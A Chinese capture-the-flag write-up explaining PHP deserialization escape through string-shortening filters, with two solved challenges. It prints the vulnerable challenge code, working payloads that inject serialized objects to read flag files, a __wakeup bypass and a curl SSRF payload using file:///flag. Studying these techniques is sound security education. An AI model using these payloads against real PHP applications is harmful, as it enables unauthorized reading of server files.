两道题浅析PHP反序列化逃逸
两道题浅析PHP反序列化逃逸
一、介绍
反序列化逃逸的出现是因为php反序列化函数在进行反序列化操作时,并不会审核字符串中的内容,所以我们可以操纵属性值,使得反序列化提前结束。
反序列化逃逸题一般都是存在一个filter函数,这个函数看似过滤了敏感字符串,其实使得代码的安全性有所降低;并且分为filter后字符串加长以及字符串变短两种情况,这两种情况有着不同的处理方式。
例如这段代码:
<?php function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
} $ab=array('user'=>'flagflagflag','1'=>'1');
echo filter(serialize($ab)); ?>
本来反序列化的结果为:
a:2:{s:4:"user";s:12:"flagflagflag";i:1;s:1:"1";}
但是因为敏感字符串替换变成了:
a:2:{s:4:"user";s:12:"";i:1;s:1:"1";}
这样在反序列化时,就导致了原先的键值
flagflagflag
被现在的12个字符";i:1;s:1:"1
替换了。导致函数误以为键user
的值为";i:1;s:1:"1
。但是同时这里确定了有两个类,所以要想反序列化成功,则需要让原来键1对应值再包含一个类,这样就能够填补前面被覆盖的1键值的空缺;
i:1;s:1:"1"
应该是i:1;s:13:"1";i:2;s:1:"2"
,即过滤后字符串为:a:2:{s:4:"user";s:13:"";i:1;s:13:"1";i:2;s:1:"2";}
下面通过两道题实际应用一下该漏洞。
二、【安洵杯 2019】easy_serialize_php
2.1 收获
- php反序列化逃逸
- 数组变量覆盖
- POST请求体传递数组
2.2 分析
代码:
<?php $function = @$_GET['f']; function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
} if($_SESSION){
unset($_SESSION);
} $_SESSION["user"] = 'guest';
$_SESSION['function'] = $function; extract($_POST); if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
} if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
} $serialize_info = filter(serialize($_SESSION)); if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
分析代码,首先
filter
函数实现了一个替换字符串中敏感字符为空的操作。然后对$__SESSION进行了设置,但是下面出现了一个
extract($_POST);
。在Php中extract
函数实现一个提取数组中键值并覆盖原数组的功能。也就是说,虽然上面设置了user键的内容,但是如果POST变量中不存在user键,那么更新后的$__SESSION中则不包含user键。下面又进行了img键值的设置,并将序列化后的字符串传入filter中进行过滤。
思路
首先肯定是需要查看phpinfo()中的文件;然后应该是通过更改$__SESSION数组实现反序列化读文件。
3.3 利用
访问Phpinfo:
得到了一个提示,包含了d0g3_f1ag.php文件。说明我们需要访问这个php文件。
读文件:
当我们GET请求中设置img_path变量时,势必会触发
sha1
函数,这样我们无法读取正常的路径;但是不设置img_path更无法得到文件内容。于是思考这个反序列化。因为反序列化后的字符串会经过filter函数处理,那能不能通过故意引入敏感字符串,使得序列化后的字符串改变,从而在反序列时得到我们想要的输出呢?payload
在本题中因为将敏感字符串替换为空,所以是字符串变短的情况。
首先
f
的值需要为show_image
;其次我们需要覆盖img
键对应的值为d0g3_f1ag.php
的编码值:ZDBnM19mMWFnLnBocA==
。也就是说我们构造的字符串中要包括:s:3:"img";s:20:"ZDBnM19mMWFnLnBocA=="
,并且让该字符串前面的序列化内容正好被敏感字符过滤的坑位吃掉。同时,为了覆盖最后系统赋值的img
,我们在字符串后面还要加一个类。_SESSION[test]=phpphpphpphpphpphpflag&_SESSION[function]=;s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";i:1;s:1:"2";}
其过滤后的序列化结果为:
原本的红线部分作为了现在
func
键的值。抓包:
注意_SESSION数组修改方式不包含$符号与引号(不要按照Php格式写就行,这里笨了)。
继续:
说明要继续读取:
/d0g3_fllllllag
=>L2QwZzNfZmxsbGxsbGFn
payload:
_SESSION[user]=phpphpphpphpphpphpflag&_SESSION[function]=;s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";i:1;s:1:"2";}
三、Bugku newphp
3.1 收获
- php反序列化逃逸
- __wakeup函数绕过
3.2 分析
题目代码:
<?php
// php版本:5.4.44
header("Content-type: text/html; charset=utf-8");
highlight_file(__FILE__);
class evil{
public $hint;
public function __construct($hint){
$this->hint = $hint;
}
public function __destruct(){
if($this->hint==="hint.php")
@$this->hint = base64_encode(file_get_contents($this->hint));
var_dump($this->hint);
}
function __wakeup() {
if ($this->hint != "╭(●`∀´●)╯") {
//There's a hint in ./hint.php
$this->hint = "╰(●’◡’●)╮";
}
}
}
class User
{
public $username;
public $password;
public function __construct($username, $password){
$this->username = $username;
$this->password = $password;
}
}
function write($data){
global $tmp;
$data = str_replace(chr(0).'*'.chr(0), '\0\0\0', $data);
$tmp = $data;
}
function read(){
global $tmp;
$data = $tmp;
$r = str_replace('\0\0\0', chr(0).'*'.chr(0), $data);
return $r;
}
$tmp = "test";
$username = $_POST['username'];
$password = $_POST['password'];
$a = serialize(new User($username, $password));
if(preg_match('/flag/is',$a))
die("NoNoNo!");
unserialize(read(write($a)));
首先为了能够访问hint.php,我们需要绕过
__wakeup()
函数,不然hint变量会被赋值为表情符号。- 这里的绕过其实简单,因为如果序列化字符串中声明的变量数量大于实际的变量数量就可以实现不执行
__wakeup()
。 - 正常的evil类序列化后为:
O:4:"evil":1:{s:4:"hint";s:8:"hint.php";}
,这里只有一个属性。我们将其改为O:4:"evil":2:{s:4:"hint";s:8:"hint.php";}
- 这里的绕过其实简单,因为如果序列化字符串中声明的变量数量大于实际的变量数量就可以实现不执行
其次,为了反序列化后的结果为evil类,需要进行反序列化逃逸,因为无法使用username=new evil()然后在User类的
__construct()
函数创建evil类的办法。我们需要使得User中的username或者password属性为
O:4:"evil":2:{s:4:"hint";s:8:"hint.php";}
分析
write()
和read()
函数可以发现,chr(0)对应的是空字符,一般我们提供的字符串中不会包含空字符;但是我们可以让字符串中包含\0\0\0从而在read()
函数中实现替换,使得字符串变短一半。这里需要注意chr(0)虽然是空字符串,但是其也占了一个长度,所以从'\0\0\0'到chr(0).*.chr(0)其实是字符串缩短了一半。正常的User类序列化之后为
O:4:"User":2:{s:8:"username";s:8:"hint.php";s:8:"password";s:4:"test"}
。如果我们让username中包含许多\0,从而字符串变短后吞掉后面的"s:8:"password";s:4:"
共21个字符串,但是同时因为我们的payload最后肯定是大于10的,所以password后面的s:4应该是两位数而不是4,所以总共需要吞掉22个字符。量子力学计算一下,我们需要24个\0,并且password中增加一写字符串,才能实现覆盖22个字符串。
测试:
<?php
class evil{
public $hint; function __wakeup() {
echo $this->hint;
}
}
class User
{
public $username;
public $password; public function __construct(){
$this->username = '\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0'; #24
$this->password = ';";s:8:"password";O:4:"evil":1:{s:4:"hint";s:8:"hint.php";}}';
} }
$a=new User();
echo serialize($a);
echo ' ';
function write($data){
global $tmp;
$data = str_replace(chr(0).'*'.chr(0), '\0\0\0', $data);
$tmp = $data;
} function read(){
global $tmp;
$data = $tmp;
$r = str_replace('\0\0\0', chr(0).'*'.chr(0), $data);
return $r;
}
echo read(write(serialize($a)));
unserialize(read(write(serialize($a))))
?>
这样会直接输出字符串hint.php。实际为了躲避__wakeup函数,evil的类变量需要设置为2。
3.3 反序列化逃逸
payload:
username=\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0&password=;";s:8:"password";O:4:"evil":2:{s:4:"hint";s:8:"hint.php";}}
3.4 SSRF
得到base64字符串解码:
<?php
$hint = "index.cgi";
// You can't see me~
直接访问后得到:
{ "args": { "name": "Bob" }, "headers": { "Accept": "*/*", "Host": "httpbin.org", "User-Agent": "curl/7.64.0", "X-Amzn-Trace-Id": "Root=1-656d4ec1-1bc041685ed0055f65124685" }, "origin": "114.67.175.224", "url": "http://httpbin.org/get?name=Bob" }
说明网站是向http://httpbin.org发送了一个请求,那这里就需要SSRF。
这里我们可以向其传参name参数,并且Agent里面提示了,其使用的是curl进行发送请求。
所以为了读取flag,我们要使用file协议,但是这里是向http://httpbin.org发送请求。这里使用空格截断,这样在curl同时可以实现向两个url发送请求(可以在本地命令行测试curl的用法)
payload:
?name= file:///flag
注意name后的空格。
总结
- 对于反序列化逃逸题目首先要看有没有序列化后的字符串替换,如果存在,可以说题目基本上是在考察该知识点。
- 分析替换方式。
- 缩短类型:基本上是靠前一个属性包含的字符串被缩短后,吞吃后一个属性;同时在后一个属性中存放需要利用的属性即可。
- 变长类型:这个后续如果遇到相关题目会进行补充。
参考链接
如有错误敬请指正!
两道题浅析PHP反序列化逃逸的更多相关文章
- CTF反序列化逃逸
刷了一下CTF反序列化的题,去年没有好好了解.又补了一次PHP,害太菜了.每天看看别人的博客真的可以鼓舞人.简单记录一下两道字符串逃逸问题 推荐一个反序列化总结的很好的笔记https://www.cn ...
- php封装协议的两道题
这几天终于刷完了自己说是要刷完的那几道题,赶紧写几篇博客记录.. 1. 先看看这个网站:https://blog.csdn.net/qq_41289254/article/details/81388 ...
- Codeforces 460 DE 两道题
D Little Victor and Set 题目链接 构造的好题.表示是看了题解才会做的. 假如[l,r]长度不超过4,直接暴力就行了. 假如[l,r]长度大于等于5,那么如果k = 1,显然答案 ...
- 小测(noip2005的两道题) 2017.3.3
过河 题目描述 Description 在河上有一座独木桥,一只青蛙想沿着独木桥从河的一侧跳到另一侧.在桥上有一些石子,青蛙很讨厌踩在这些石子上.由于桥的长度和青蛙一次跳过的距离都是正整数,我们可以把 ...
- 一道题浅析 i++,++i,i+1及(引用)&i的区别
我们可能很清楚i++,++i和i+1级&i的概念,但在实际运用中我们就有可能很容易搞混淆.特别是在递归中区别它们就显得尤为重要了.那首先我们先看一段利用递归逆序字符串的代码,你能回答出这段代码 ...
- 从两道题看go channel的用法
在知乎看到有人分享了几道笔试题,自己总结了一下其中与channel有关的题目.全部题目在这里: https://zhuanlan.zhihu.com/p/35058068 题目 5.请找出下面代码的问 ...
- 浅析PHP反序列化漏洞之PHP常见魔术方法(一)
作为一个学习web安全的菜鸟,前段时间被人问到PHP反序列化相关的问题,以前的博客中是有这样一篇反序列化漏洞的利用文章的.但是好久过去了,好多的东西已经记得不是很清楚.所以这里尽可能写一篇详细点的文章 ...
- Dfs学习经验(纸上运行理解DFS)【两道题】
首先我想吐槽的是,在CSDN上搞了好久还是不能发博客,就是点下发表丝毫反应都没有的,我稍微百度了几次还是没有找到解决方法,在CSDN的BBS上也求助过管理员但是没有收到答复真是烦躁,导致我新生入学以来 ...
- drf-day5——反序列化类校验部分源码分析、断言、drf请求、drf响应、视图组件及两个视图基类、基于GenericAPIView+5个视图扩展类
目录 一.反序列化类校验部分源码解析(了解) 二.断言 三.drf之请求 3.1 Request能够解析的前端传入的编码格式 3.2 Request类有哪些属性和方法(学过) 常用参数 Respons ...
- [0CTF 2016]piapiapia(反序列逃逸)
我尝试了几种payload,发现有两种情况. 第一种:Invalid user name 第二种:Invalid user name or password 第一步想到的是盲注或者报错,因为fuzz一 ...
随机推荐
- SQL 注入学习手册【笔记】
SQL 注入基础 [若本文有问题请指正] 有回显 回显正常 基本步骤 1. 判断注入类型 数字型 or 字符型 数字型[示例]:?id=1 字符型[示例]:?id=1' 这也是在尝试闭合原来的 sql ...
- Jni GetMethodID中函数标识sig的详细解释
在 JNI(Java Native Interface)中,GetMethodID 函数用于获取 Java 类的方法的标识符.这个函数的详细解释如下: cCopy code jmethodID Get ...
- 细聊C# AsyncLocal如何在异步间进行数据流转
前言 在异步编程中,处理异步操作之间的数据流转是一个比较常用的操作.C#异步编程提供了一个强大的工具来解决这个问题,那就是AsyncLocal.它是一个线程本地存储的机制,可以在异步操作之间传递数据. ...
- [Bread.Mvc] 开源一款自用 MVC 框架,支持 Native AOT
Bread.Mvc Bread.Mvc 是一款完全支持 Native AOT 的 MVC 框架,搭配同样支持 AOT 的 Avalonia,让你的开发事半功倍.项目开源在 Gitee,欢迎 Star. ...
- QA|linux指令awk '{print $(NF-1)}'为啥用单引号而不是双引号?|linux
linux指令awk '{print $(NF-1)}'为啥用单引号而不是双引号? 我的理解: 因为单引号不对会内容进行转义,而双引号会,举个栗子 1 a=1 2 echo "$a" ...
- 手把手教你搭建springbootsecurity+jwt,全面了解
研究了两周了springbootsecurity+jwt的使用,终于搭起来了,这里跟大家分享下. 首先,不了解jwt的可以提前去查下相关资料,我之前也有讲过,大家可以先看下: https://www ...
- Go 语言内置类型全解析:从布尔到字符串的全维度探究
关注微信公众号[TechLeadCloud],分享互联网架构.云服务技术的全维度知识.作者拥有10+年互联网服务架构.AI产品研发经验.团队管理经验,同济本复旦硕,复旦机器人智能实验室成员,阿里云认证 ...
- JNI动态注册以及JNI签名
一.动态注册和静态注册 注册native方法有两种方式,动态注册和静态注册.静态注册是在编译时进行注册,而且在java中声明的native方法和c/c++中的本地方法的对应关系是恒定的:比如说在com ...
- Solution -「洛谷 P5072」「YunoOI 2015」盼君勿忘
Description Link. 无修支持查询:查询一个区间 \([l,r]\) 中所有子序列分别去重后的和 \(\bmod\ p\) Solution 这是数据结构一百题的第50题(一半了哦)的纪 ...
- ReactPortals传送门
ReactPortals传送门 React Portals提供了一种将子节点渲染到父组件以外的DOM节点的解决方案,即允许将JSX作为children渲染至DOM的不同部分,最常见用例是子组件需要从视 ...